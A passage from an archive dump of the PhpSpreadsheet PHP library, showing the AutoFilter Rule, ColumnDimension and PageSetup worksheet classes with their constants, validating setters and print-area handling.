AUTOFILTER_RULETYPE_DYNAMIC_JUNE = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_6; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_7 = 'M7'; const AUTOFILTER_RULETYPE_DYNAMIC_JULY = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_7; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_8 = 'M8'; const AUTOFILTER_RULETYPE_DYNAMIC_AUGUST = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_8; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_9 = 'M9'; const AUTOFILTER_RULETYPE_DYNAMIC_SEPTEMBER = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_9; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_10 = 'M10'; const AUTOFILTER_RULETYPE_DYNAMIC_OCTOBER = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_10; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_11 = 'M11'; const AUTOFILTER_RULETYPE_DYNAMIC_NOVEMBER = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_11; const AUTOFILTER_RULETYPE_DYNAMIC_MONTH_12 = 'M12'; const AUTOFILTER_RULETYPE_DYNAMIC_DECEMBER = self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_12; const AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_1 = 'Q1'; const AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_2 = 'Q2'; const AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_3 = 'Q3'; const AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_4 = 'Q4'; const AUTOFILTER_RULETYPE_DYNAMIC_ABOVEAVERAGE = 'aboveAverage'; const AUTOFILTER_RULETYPE_DYNAMIC_BELOWAVERAGE = 'belowAverage'; private const DYNAMIC_TYPES = [ self::AUTOFILTER_RULETYPE_DYNAMIC_YESTERDAY, self::AUTOFILTER_RULETYPE_DYNAMIC_TODAY, self::AUTOFILTER_RULETYPE_DYNAMIC_TOMORROW, self::AUTOFILTER_RULETYPE_DYNAMIC_YEARTODATE, self::AUTOFILTER_RULETYPE_DYNAMIC_THISYEAR, self::AUTOFILTER_RULETYPE_DYNAMIC_THISQUARTER, self::AUTOFILTER_RULETYPE_DYNAMIC_THISMONTH, self::AUTOFILTER_RULETYPE_DYNAMIC_THISWEEK, self::AUTOFILTER_RULETYPE_DYNAMIC_LASTYEAR, self::AUTOFILTER_RULETYPE_DYNAMIC_LASTQUARTER, self::AUTOFILTER_RULETYPE_DYNAMIC_LASTMONTH, self::AUTOFILTER_RULETYPE_DYNAMIC_LASTWEEK, self::AUTOFILTER_RULETYPE_DYNAMIC_NEXTYEAR, self::AUTOFILTER_RULETYPE_DYNAMIC_NEXTQUARTER, self::AUTOFILTER_RULETYPE_DYNAMIC_NEXTMONTH, self::AUTOFILTER_RULETYPE_DYNAMIC_NEXTWEEK, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_1, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_2, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_3, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_4, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_5, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_6, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_7, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_8, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_9, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_10, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_11, self::AUTOFILTER_RULETYPE_DYNAMIC_MONTH_12, self::AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_1, self::AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_2, self::AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_3, self::AUTOFILTER_RULETYPE_DYNAMIC_QUARTER_4, self::AUTOFILTER_RULETYPE_DYNAMIC_ABOVEAVERAGE, self::AUTOFILTER_RULETYPE_DYNAMIC_BELOWAVERAGE, ]; // Filter rule operators for filter and customFilter types. const AUTOFILTER_COLUMN_RULE_EQUAL = 'equal'; const AUTOFILTER_COLUMN_RULE_NOTEQUAL = 'notEqual'; const AUTOFILTER_COLUMN_RULE_GREATERTHAN = 'greaterThan'; const AUTOFILTER_COLUMN_RULE_GREATERTHANOREQUAL = 'greaterThanOrEqual'; const AUTOFILTER_COLUMN_RULE_LESSTHAN = 'lessThan'; const AUTOFILTER_COLUMN_RULE_LESSTHANOREQUAL = 'lessThanOrEqual'; private const OPERATORS = [ self::AUTOFILTER_COLUMN_RULE_EQUAL, self::AUTOFILTER_COLUMN_RULE_NOTEQUAL, self::AUTOFILTER_COLUMN_RULE_GREATERTHAN, self::AUTOFILTER_COLUMN_RULE_GREATERTHANOREQUAL, self::AUTOFILTER_COLUMN_RULE_LESSTHAN, self::AUTOFILTER_COLUMN_RULE_LESSTHANOREQUAL, ]; const AUTOFILTER_COLUMN_RULE_TOPTEN_BY_VALUE = 'byValue'; const AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT = 'byPercent'; private const TOP_TEN_VALUE = [ self::AUTOFILTER_COLUMN_RULE_TOPTEN_BY_VALUE, self::AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT, ]; const AUTOFILTER_COLUMN_RULE_TOPTEN_TOP = 'top'; const AUTOFILTER_COLUMN_RULE_TOPTEN_BOTTOM = 'bottom'; private const TOP_TEN_TYPE = [ self::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP, self::AUTOFILTER_COLUMN_RULE_TOPTEN_BOTTOM, ]; // Unimplented Rule Operators (Numeric, Boolean etc) // const AUTOFILTER_COLUMN_RULE_BETWEEN = 'between'; // greaterThanOrEqual 1 && lessThanOrEqual 2 // Rule Operators (Numeric Special) which are translated to standard numeric operators with calculated values // Rule Operators (String) which are set as wild-carded values // const AUTOFILTER_COLUMN_RULE_BEGINSWITH = 'beginsWith'; // A* // const AUTOFILTER_COLUMN_RULE_ENDSWITH = 'endsWith'; // *Z // const AUTOFILTER_COLUMN_RULE_CONTAINS = 'contains'; // *B* // const AUTOFILTER_COLUMN_RULE_DOESNTCONTAIN = 'notEqual'; // notEqual *B* // Rule Operators (Date Special) which are translated to standard numeric operators with calculated values // const AUTOFILTER_COLUMN_RULE_BEFORE = 'lessThan'; // const AUTOFILTER_COLUMN_RULE_AFTER = 'greaterThan'; /** * Autofilter Column. */ private ?Column $parent; /** * Autofilter Rule Type. */ private string $ruleType = self::AUTOFILTER_RULETYPE_FILTER; /** * Autofilter Rule Value. * * @var int|int[]|string|string[] */ private $value = ''; /** * Autofilter Rule Operator. */ private string $operator = self::AUTOFILTER_COLUMN_RULE_EQUAL; /** * DateTimeGrouping Group Value. */ private string $grouping = ''; /** * Create a new Rule. */ public function __construct(?Column $parent = null) { $this->parent = $parent; } private function setEvaluatedFalse(): void { if ($this->parent !== null) { $this->parent->setEvaluatedFalse(); } } /** * Get AutoFilter Rule Type. */ public function getRuleType(): string { return $this->ruleType; } /** * Set AutoFilter Rule Type. * * @param string $ruleType see self::AUTOFILTER_RULETYPE_* * * @return $this */ public function setRuleType(string $ruleType): static { $this->setEvaluatedFalse(); if (!in_array($ruleType, self::RULE_TYPES)) { throw new PhpSpreadsheetException('Invalid rule type for column AutoFilter Rule.'); } $this->ruleType = $ruleType; return $this; } /** * Get AutoFilter Rule Value. * * @return int|int[]|string|string[] */ public function getValue() { return $this->value; } /** * Set AutoFilter Rule Value. * * @param int|int[]|string|string[] $value * * @return $this */ public function setValue($value): static { $this->setEvaluatedFalse(); if (is_array($value)) { $grouping = -1; foreach ($value as $key => $v) { // Validate array entries if (!in_array($key, self::DATE_TIME_GROUPS)) { // Remove any invalid entries from the value array unset($value[$key]); } else { // Work out what the dateTime grouping will be $grouping = max($grouping, array_search($key, self::DATE_TIME_GROUPS)); } } if (count($value) == 0) { throw new PhpSpreadsheetException('Invalid rule value for column AutoFilter Rule.'); } // Set the dateTime grouping that we've anticipated $this->setGrouping(self::DATE_TIME_GROUPS[$grouping]); } $this->value = $value; return $this; } /** * Get AutoFilter Rule Operator. */ public function getOperator(): string { return $this->operator; } /** * Set AutoFilter Rule Operator. * * @param string $operator see self::AUTOFILTER_COLUMN_RULE_* * * @return $this */ public function setOperator(string $operator): static { $this->setEvaluatedFalse(); if (empty($operator)) { $operator = self::AUTOFILTER_COLUMN_RULE_EQUAL; } if ( (!in_array($operator, self::OPERATORS)) && (!in_array($operator, self::TOP_TEN_VALUE)) ) { throw new PhpSpreadsheetException('Invalid operator for column AutoFilter Rule.'); } $this->operator = $operator; return $this; } /** * Get AutoFilter Rule Grouping. */ public function getGrouping(): string { return $this->grouping; } /** * Set AutoFilter Rule Grouping. * * @return $this */ public function setGrouping(string $grouping): static { $this->setEvaluatedFalse(); if ( ($grouping !== null) && (!in_array($grouping, self::DATE_TIME_GROUPS)) && (!in_array($grouping, self::DYNAMIC_TYPES)) && (!in_array($grouping, self::TOP_TEN_TYPE)) ) { throw new PhpSpreadsheetException('Invalid grouping for column AutoFilter Rule.'); } $this->grouping = $grouping; return $this; } /** * Set AutoFilter Rule. * * @param string $operator see self::AUTOFILTER_COLUMN_RULE_* * @param int|int[]|string|string[] $value * * @return $this */ public function setRule(string $operator, $value, ?string $grouping = null): static { $this->setEvaluatedFalse(); $this->setOperator($operator); $this->setValue($value); // Only set grouping if it's been passed in as a user-supplied argument, // otherwise we're calculating it when we setValue() and don't want to overwrite that // If the user supplies an argumnet for grouping, then on their own head be it if ($grouping !== null) { $this->setGrouping($grouping); } return $this; } /** * Get this Rule's AutoFilter Column Parent. */ public function getParent(): ?Column { return $this->parent; } /** * Set this Rule's AutoFilter Column Parent. * * @return $this */ public function setParent(?Column $parent = null): static { $this->setEvaluatedFalse(); $this->parent = $parent; return $this; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $vars = get_object_vars($this); foreach ($vars as $key => $value) { if (is_object($value)) { if ($key == 'parent') { // this is only object // Detach from autofilter column parent $this->$key = null; } } else { $this->$key = $value; } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/ColumnDimension.php000064400000006414151676714400023043 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Helper\Dimension as CssDimension; class ColumnDimension extends Dimension { /** * Column index. */ private ?string $columnIndex; /** * Column width. * * When this is set to a negative value, the column width should be ignored by IWriter */ private float $width = -1; /** * Auto size? */ private bool $autoSize = false; /** * Create a new ColumnDimension. * * @param ?string $index Character column index */ public function __construct(?string $index = 'A') { // Initialise values $this->columnIndex = $index; // set dimension as unformatted by default parent::__construct(0); } /** * Get column index as string eg: 'A'. */ public function getColumnIndex(): ?string { return $this->columnIndex; } /** * Set column index as string eg: 'A'. */ public function setColumnIndex(string $index): self { $this->columnIndex = $index; return $this; } /** * Get column index as numeric. */ public function getColumnNumeric(): int { return Coordinate::columnIndexFromString($this->columnIndex ?? ''); } /** * Set column index as numeric. */ public function setColumnNumeric(int $index): self { $this->columnIndex = Coordinate::stringFromColumnIndex($index); return $this; } /** * Get Width. * * Each unit of column width is equal to the width of one character in the default font size. A value of -1 * tells Excel to display this column in its default width. * By default, this will be the return value; but this method also accepts an optional unit of measure argument * and will convert the returned value to the specified UoM.. */ public function getWidth(?string $unitOfMeasure = null): float { return ($unitOfMeasure === null || $this->width < 0) ? $this->width : (new CssDimension((string) $this->width))->toUnit($unitOfMeasure); } /** * Set Width. * * Each unit of column width is equal to the width of one character in the default font size. A value of -1 * tells Excel to display this column in its default width. * By default, this will be the unit of measure for the passed value; but this method also accepts an * optional unit of measure argument, and will convert the value from the specified UoM using an * approximation method. * * @return $this */ public function setWidth(float $width, ?string $unitOfMeasure = null): static { $this->width = ($unitOfMeasure === null || $width < 0) ? $width : (new CssDimension("{$width}{$unitOfMeasure}"))->width(); return $this; } /** * Get Auto Size. */ public function getAutoSize(): bool { return $this->autoSize; } /** * Set Auto Size. * * @return $this */ public function setAutoSize(bool $autosizeEnabled): static { $this->autoSize = $autosizeEnabled; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/PageSetup.php000064400000064301151676714400021634 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; /** * <code> * Paper size taken from Office Open XML Part 4 - Markup Language Reference, page 1988:. * * 1 = Letter paper (8.5 in. by 11 in.) * 2 = Letter small paper (8.5 in. by 11 in.) * 3 = Tabloid paper (11 in. by 17 in.) * 4 = Ledger paper (17 in. by 11 in.) * 5 = Legal paper (8.5 in. by 14 in.) * 6 = Statement paper (5.5 in. by 8.5 in.) * 7 = Executive paper (7.25 in. by 10.5 in.) * 8 = A3 paper (297 mm by 420 mm) * 9 = A4 paper (210 mm by 297 mm) * 10 = A4 small paper (210 mm by 297 mm) * 11 = A5 paper (148 mm by 210 mm) * 12 = B4 paper (250 mm by 353 mm) * 13 = B5 paper (176 mm by 250 mm) * 14 = Folio paper (8.5 in. by 13 in.) * 15 = Quarto paper (215 mm by 275 mm) * 16 = Standard paper (10 in. by 14 in.) * 17 = Standard paper (11 in. by 17 in.) * 18 = Note paper (8.5 in. by 11 in.) * 19 = #9 envelope (3.875 in. by 8.875 in.) * 20 = #10 envelope (4.125 in. by 9.5 in.) * 21 = #11 envelope (4.5 in. by 10.375 in.) * 22 = #12 envelope (4.75 in. by 11 in.) * 23 = #14 envelope (5 in. by 11.5 in.) * 24 = C paper (17 in. by 22 in.) * 25 = D paper (22 in. by 34 in.) * 26 = E paper (34 in. by 44 in.) * 27 = DL envelope (110 mm by 220 mm) * 28 = C5 envelope (162 mm by 229 mm) * 29 = C3 envelope (324 mm by 458 mm) * 30 = C4 envelope (229 mm by 324 mm) * 31 = C6 envelope (114 mm by 162 mm) * 32 = C65 envelope (114 mm by 229 mm) * 33 = B4 envelope (250 mm by 353 mm) * 34 = B5 envelope (176 mm by 250 mm) * 35 = B6 envelope (176 mm by 125 mm) * 36 = Italy envelope (110 mm by 230 mm) * 37 = Monarch envelope (3.875 in. by 7.5 in.). * 38 = 6 3/4 envelope (3.625 in. by 6.5 in.) * 39 = US standard fanfold (14.875 in. by 11 in.) * 40 = German standard fanfold (8.5 in. by 12 in.) * 41 = German legal fanfold (8.5 in. by 13 in.) * 42 = ISO B4 (250 mm by 353 mm) * 43 = Japanese double postcard (200 mm by 148 mm) * 44 = Standard paper (9 in. by 11 in.) * 45 = Standard paper (10 in. by 11 in.) * 46 = Standard paper (15 in. by 11 in.) * 47 = Invite envelope (220 mm by 220 mm) * 50 = Letter extra paper (9.275 in. by 12 in.) * 51 = Legal extra paper (9.275 in. by 15 in.) * 52 = Tabloid extra paper (11.69 in. by 18 in.) * 53 = A4 extra paper (236 mm by 322 mm) * 54 = Letter transverse paper (8.275 in. by 11 in.) * 55 = A4 transverse paper (210 mm by 297 mm) * 56 = Letter extra transverse paper (9.275 in. by 12 in.) * 57 = SuperA/SuperA/A4 paper (227 mm by 356 mm) * 58 = SuperB/SuperB/A3 paper (305 mm by 487 mm) * 59 = Letter plus paper (8.5 in. by 12.69 in.) * 60 = A4 plus paper (210 mm by 330 mm) * 61 = A5 transverse paper (148 mm by 210 mm) * 62 = JIS B5 transverse paper (182 mm by 257 mm) * 63 = A3 extra paper (322 mm by 445 mm) * 64 = A5 extra paper (174 mm by 235 mm) * 65 = ISO B5 extra paper (201 mm by 276 mm) * 66 = A2 paper (420 mm by 594 mm) * 67 = A3 transverse paper (297 mm by 420 mm) * 68 = A3 extra transverse paper (322 mm by 445 mm) * </code> */ class PageSetup { // Paper size const PAPERSIZE_LETTER = 1; const PAPERSIZE_LETTER_SMALL = 2; const PAPERSIZE_TABLOID = 3; const PAPERSIZE_LEDGER = 4; const PAPERSIZE_LEGAL = 5; const PAPERSIZE_STATEMENT = 6; const PAPERSIZE_EXECUTIVE = 7; const PAPERSIZE_A3 = 8; const PAPERSIZE_A4 = 9; const PAPERSIZE_A4_SMALL = 10; const PAPERSIZE_A5 = 11; const PAPERSIZE_B4 = 12; const PAPERSIZE_B5 = 13; const PAPERSIZE_FOLIO = 14; const PAPERSIZE_QUARTO = 15; const PAPERSIZE_STANDARD_1 = 16; const PAPERSIZE_STANDARD_2 = 17; const PAPERSIZE_NOTE = 18; const PAPERSIZE_NO9_ENVELOPE = 19; const PAPERSIZE_NO10_ENVELOPE = 20; const PAPERSIZE_NO11_ENVELOPE = 21; const PAPERSIZE_NO12_ENVELOPE = 22; const PAPERSIZE_NO14_ENVELOPE = 23; const PAPERSIZE_C = 24; const PAPERSIZE_D = 25; const PAPERSIZE_E = 26; const PAPERSIZE_DL_ENVELOPE = 27; const PAPERSIZE_C5_ENVELOPE = 28; const PAPERSIZE_C3_ENVELOPE = 29; const PAPERSIZE_C4_ENVELOPE = 30; const PAPERSIZE_C6_ENVELOPE = 31; const PAPERSIZE_C65_ENVELOPE = 32; const PAPERSIZE_B4_ENVELOPE = 33; const PAPERSIZE_B5_ENVELOPE = 34; const PAPERSIZE_B6_ENVELOPE = 35; const PAPERSIZE_ITALY_ENVELOPE = 36; const PAPERSIZE_MONARCH_ENVELOPE = 37; const PAPERSIZE_6_3_4_ENVELOPE = 38; const PAPERSIZE_US_STANDARD_FANFOLD = 39; const PAPERSIZE_GERMAN_STANDARD_FANFOLD = 40; const PAPERSIZE_GERMAN_LEGAL_FANFOLD = 41; const PAPERSIZE_ISO_B4 = 42; const PAPERSIZE_JAPANESE_DOUBLE_POSTCARD = 43; const PAPERSIZE_STANDARD_PAPER_1 = 44; const PAPERSIZE_STANDARD_PAPER_2 = 45; const PAPERSIZE_STANDARD_PAPER_3 = 46; const PAPERSIZE_INVITE_ENVELOPE = 47; const PAPERSIZE_LETTER_EXTRA_PAPER = 48; const PAPERSIZE_LEGAL_EXTRA_PAPER = 49; const PAPERSIZE_TABLOID_EXTRA_PAPER = 50; const PAPERSIZE_A4_EXTRA_PAPER = 51; const PAPERSIZE_LETTER_TRANSVERSE_PAPER = 52; const PAPERSIZE_A4_TRANSVERSE_PAPER = 53; const PAPERSIZE_LETTER_EXTRA_TRANSVERSE_PAPER = 54; const PAPERSIZE_SUPERA_SUPERA_A4_PAPER = 55; const PAPERSIZE_SUPERB_SUPERB_A3_PAPER = 56; const PAPERSIZE_LETTER_PLUS_PAPER = 57; const PAPERSIZE_A4_PLUS_PAPER = 58; const PAPERSIZE_A5_TRANSVERSE_PAPER = 59; const PAPERSIZE_JIS_B5_TRANSVERSE_PAPER = 60; const PAPERSIZE_A3_EXTRA_PAPER = 61; const PAPERSIZE_A5_EXTRA_PAPER = 62; const PAPERSIZE_ISO_B5_EXTRA_PAPER = 63; const PAPERSIZE_A2_PAPER = 64; const PAPERSIZE_A3_TRANSVERSE_PAPER = 65; const PAPERSIZE_A3_EXTRA_TRANSVERSE_PAPER = 66; // Page orientation const ORIENTATION_DEFAULT = 'default'; const ORIENTATION_LANDSCAPE = 'landscape'; const ORIENTATION_PORTRAIT = 'portrait'; // Print Range Set Method const SETPRINTRANGE_OVERWRITE = 'O'; const SETPRINTRANGE_INSERT = 'I'; const PAGEORDER_OVER_THEN_DOWN = 'overThenDown'; const PAGEORDER_DOWN_THEN_OVER = 'downThenOver'; /** * Paper size default. */ private static int $paperSizeDefault = self::PAPERSIZE_LETTER; /** * Paper size. */ private ?int $paperSize = null; /** * Orientation default. */ private static string $orientationDefault = self::ORIENTATION_DEFAULT; /** * Orientation. */ private string $orientation; /** * Scale (Print Scale). * * Print scaling. Valid values range from 10 to 400 * This setting is overridden when fitToWidth and/or fitToHeight are in use */ private ?int $scale = 100; /** * Fit To Page * Whether scale or fitToWith / fitToHeight applies. */ private bool $fitToPage = false; /** * Fit To Height * Number of vertical pages to fit on. */ private ?int $fitToHeight = 1; /** * Fit To Width * Number of horizontal pages to fit on. */ private ?int $fitToWidth = 1; /** * Columns to repeat at left. * * @var array Containing start column and end column, empty array if option unset */ private array $columnsToRepeatAtLeft = ['', '']; /** * Rows to repeat at top. * * @var array Containing start row number and end row number, empty array if option unset */ private array $rowsToRepeatAtTop = [0, 0]; /** * Center page horizontally. */ private bool $horizontalCentered = false; /** * Center page vertically. */ private bool $verticalCentered = false; /** * Print area. */ private ?string $printArea = null; /** * First page number. */ private ?int $firstPageNumber = null; private string $pageOrder = self::PAGEORDER_DOWN_THEN_OVER; /** * Create a new PageSetup. */ public function __construct() { $this->orientation = self::$orientationDefault; } /** * Get Paper Size. */ public function getPaperSize(): int { return $this->paperSize ?? self::$paperSizeDefault; } /** * Set Paper Size. * * @param int $paperSize see self::PAPERSIZE_* * * @return $this */ public function setPaperSize(int $paperSize): static { $this->paperSize = $paperSize; return $this; } /** * Get Paper Size default. */ public static function getPaperSizeDefault(): int { return self::$paperSizeDefault; } /** * Set Paper Size Default. */ public static function setPaperSizeDefault(int $paperSize): void { self::$paperSizeDefault = $paperSize; } /** * Get Orientation. */ public function getOrientation(): string { return $this->orientation; } /** * Set Orientation. * * @param string $orientation see self::ORIENTATION_* * * @return $this */ public function setOrientation(string $orientation): static { if ($orientation === self::ORIENTATION_LANDSCAPE || $orientation === self::ORIENTATION_PORTRAIT || $orientation === self::ORIENTATION_DEFAULT) { $this->orientation = $orientation; } return $this; } public static function getOrientationDefault(): string { return self::$orientationDefault; } public static function setOrientationDefault(string $orientation): void { if ($orientation === self::ORIENTATION_LANDSCAPE || $orientation === self::ORIENTATION_PORTRAIT || $orientation === self::ORIENTATION_DEFAULT) { self::$orientationDefault = $orientation; } } /** * Get Scale. */ public function getScale(): ?int { return $this->scale; } /** * Set Scale. * Print scaling. Valid values range from 10 to 400 * This setting is overridden when fitToWidth and/or fitToHeight are in use. * * @param bool $update Update fitToPage so scaling applies rather than fitToHeight / fitToWidth * * @return $this */ public function setScale(?int $scale, bool $update = true): static { // Microsoft Office Excel 2007 only allows setting a scale between 10 and 400 via the user interface, // but it is apparently still able to handle any scale >= 0, where 0 results in 100 if ($scale === null || $scale >= 0) { $this->scale = $scale; if ($update) { $this->fitToPage = false; } } else { throw new PhpSpreadsheetException('Scale must not be negative'); } return $this; } /** * Get Fit To Page. */ public function getFitToPage(): bool { return $this->fitToPage; } /** * Set Fit To Page. * * @return $this */ public function setFitToPage(bool $fitToPage): static { $this->fitToPage = $fitToPage; return $this; } /** * Get Fit To Height. */ public function getFitToHeight(): ?int { return $this->fitToHeight; } /** * Set Fit To Height. * * @param bool $update Update fitToPage so it applies rather than scaling * * @return $this */ public function setFitToHeight(?int $fitToHeight, bool $update = true): static { $this->fitToHeight = $fitToHeight; if ($update) { $this->fitToPage = true; } return $this; } /** * Get Fit To Width. */ public function getFitToWidth(): ?int { return $this->fitToWidth; } /** * Set Fit To Width. * * @param bool $update Update fitToPage so it applies rather than scaling * * @return $this */ public function setFitToWidth(?int $value, bool $update = true): static { $this->fitToWidth = $value; if ($update) { $this->fitToPage = true; } return $this; } /** * Is Columns to repeat at left set? */ public function isColumnsToRepeatAtLeftSet(): bool { if (!empty($this->columnsToRepeatAtLeft)) { if ($this->columnsToRepeatAtLeft[0] != '' && $this->columnsToRepeatAtLeft[1] != '') { return true; } } return false; } /** * Get Columns to repeat at left. * * @return array Containing start column and end column, empty array if option unset */ public function getColumnsToRepeatAtLeft(): array { return $this->columnsToRepeatAtLeft; } /** * Set Columns to repeat at left. * * @param array $columnsToRepeatAtLeft Containing start column and end column, empty array if option unset * * @return $this */ public function setColumnsToRepeatAtLeft(array $columnsToRepeatAtLeft): static { $this->columnsToRepeatAtLeft = $columnsToRepeatAtLeft; return $this; } /** * Set Columns to repeat at left by start and end. * * @param string $start eg: 'A' * @param string $end eg: 'B' * * @return $this */ public function setColumnsToRepeatAtLeftByStartAndEnd(string $start, string $end): static { $this->columnsToRepeatAtLeft = [$start, $end]; return $this; } /** * Is Rows to repeat at top set? */ public function isRowsToRepeatAtTopSet(): bool { if (!empty($this->rowsToRepeatAtTop)) { if ($this->rowsToRepeatAtTop[0] != 0 && $this->rowsToRepeatAtTop[1] != 0) { return true; } } return false; } /** * Get Rows to repeat at top. * * @return array Containing start column and end column, empty array if option unset */ public function getRowsToRepeatAtTop(): array { return $this->rowsToRepeatAtTop; } /** * Set Rows to repeat at top. * * @param array $rowsToRepeatAtTop Containing start column and end column, empty array if option unset * * @return $this */ public function setRowsToRepeatAtTop(array $rowsToRepeatAtTop): static { $this->rowsToRepeatAtTop = $rowsToRepeatAtTop; return $this; } /** * Set Rows to repeat at top by start and end. * * @param int $start eg: 1 * @param int $end eg: 1 * * @return $this */ public function setRowsToRepeatAtTopByStartAndEnd(int $start, int $end): static { $this->rowsToRepeatAtTop = [$start, $end]; return $this; } /** * Get center page horizontally. */ public function getHorizontalCentered(): bool { return $this->horizontalCentered; } /** * Set center page horizontally. * * @return $this */ public function setHorizontalCentered(bool $value): static { $this->horizontalCentered = $value; return $this; } /** * Get center page vertically. */ public function getVerticalCentered(): bool { return $this->verticalCentered; } /** * Set center page vertically. * * @return $this */ public function setVerticalCentered(bool $value): static { $this->verticalCentered = $value; return $this; } /** * Get print area. * * @param int $index Identifier for a specific print area range if several ranges have been set * Default behaviour, or a index value of 0, will return all ranges as a comma-separated string * Otherwise, the specific range identified by the value of $index will be returned * Print areas are numbered from 1 */ public function getPrintArea(int $index = 0): string { if ($index == 0) { return (string) $this->printArea; } $printAreas = explode(',', (string) $this->printArea); if (isset($printAreas[$index - 1])) { return $printAreas[$index - 1]; } throw new PhpSpreadsheetException('Requested Print Area does not exist'); } /** * Is print area set? * * @param int $index Identifier for a specific print area range if several ranges have been set * Default behaviour, or an index value of 0, will identify whether any print range is set * Otherwise, existence of the range identified by the value of $index will be returned * Print areas are numbered from 1 */ public function isPrintAreaSet(int $index = 0): bool { if ($index == 0) { return $this->printArea !== null; } $printAreas = explode(',', (string) $this->printArea); return isset($printAreas[$index - 1]); } /** * Clear a print area. * * @param int $index Identifier for a specific print area range if several ranges have been set * Default behaviour, or an index value of 0, will clear all print ranges that are set * Otherwise, the range identified by the value of $index will be removed from the series * Print areas are numbered from 1 * * @return $this */ public function clearPrintArea(int $index = 0): static { if ($index == 0) { $this->printArea = null; } else { $printAreas = explode(',', (string) $this->printArea); if (isset($printAreas[$index - 1])) { unset($printAreas[$index - 1]); $this->printArea = implode(',', $printAreas); } } return $this; } /** * Set print area. e.g. 'A1:D10' or 'A1:D10,G5:M20'. * * @param int $index Identifier for a specific print area range allowing several ranges to be set * When the method is "O"verwrite, then a positive integer index will overwrite that indexed * entry in the print areas list; a negative index value will identify which entry to * overwrite working bacward through the print area to the list, with the last entry as -1. * Specifying an index value of 0, will overwrite <b>all</b> existing print ranges. * When the method is "I"nsert, then a positive index will insert after that indexed entry in * the print areas list, while a negative index will insert before the indexed entry. * Specifying an index value of 0, will always append the new print range at the end of the * list. * Print areas are numbered from 1 * @param string $method Determines the method used when setting multiple print areas * Default behaviour, or the "O" method, overwrites existing print area * The "I" method, inserts the new print area before any specified index, or at the end of the list * * @return $this */ public function setPrintArea(string $value, int $index = 0, string $method = self::SETPRINTRANGE_OVERWRITE): static { if (str_contains($value, '!')) { throw new PhpSpreadsheetException('Cell coordinate must not specify a worksheet.'); } elseif (!str_contains($value, ':')) { throw new PhpSpreadsheetException('Cell coordinate must be a range of cells.'); } elseif (str_contains($value, '$')) { throw new PhpSpreadsheetException('Cell coordinate must not be absolute.'); } $value = strtoupper($value); if (!$this->printArea) { $index = 0; } if ($method == self::SETPRINTRANGE_OVERWRITE) { if ($index == 0) { $this->printArea = $value; } else { $printAreas = explode(',', (string) $this->printArea); if ($index < 0) { $index = count($printAreas) - abs($index) + 1; } if (($index <= 0) || ($index > count($printAreas))) { throw new PhpSpreadsheetException('Invalid index for setting print range.'); } $printAreas[$index - 1] = $value; $this->printArea = implode(',', $printAreas); } } elseif ($method == self::SETPRINTRANGE_INSERT) { if ($index == 0) { $this->printArea = $this->printArea ? ($this->printArea . ',' . $value) : $value; } else { $printAreas = explode(',', (string) $this->printArea); if ($index < 0) { $index = (int) abs($index) - 1; } if ($index > count($printAreas)) { throw new PhpSpreadsheetException('Invalid index for setting print range.'); } $printAreas = array_merge(array_slice($printAreas, 0, $index), [$value], array_slice($printAreas, $index)); $this->printArea = implode(',', $printAreas); } } else { throw new PhpSpreadsheetException('Invalid method for setting print range.'); } return $this; } /** * Add a new print area (e.g. 'A1:D10' or 'A1:D10,G5:M20') to the list of print areas. * * @param int $index Identifier for a specific print area range allowing several ranges to be set * A positive index will insert after that indexed entry in the print areas list, while a * negative index will insert before the indexed entry. * Specifying an index value of 0, will always append the new print range at the end of the * list. * Print areas are numbered from 1 * * @return $this */ public function addPrintArea(string $value, int $index = -1): static { return $this->setPrintArea($value, $index, self::SETPRINTRANGE_INSERT); } /** * Set print area. * * @param int $column1 Column 1 * @param int $row1 Row 1 * @param int $column2 Column 2 * @param int $row2 Row 2 * @param int $index Identifier for a specific print area range allowing several ranges to be set * When the method is "O"verwrite, then a positive integer index will overwrite that indexed * entry in the print areas list; a negative index value will identify which entry to * overwrite working backward through the print area to the list, with the last entry as -1. * Specifying an index value of 0, will overwrite <b>all</b> existing print ranges. * When the method is "I"nsert, then a positive index will insert after that indexed entry in * the print areas list, while a negative index will insert before the indexed entry. * Specifying an index value of 0, will always append the new print range at the end of the * list. * Print areas are numbered from 1 * @param string $method Determines the method used when setting multiple print areas * Default behaviour, or the "O" method, 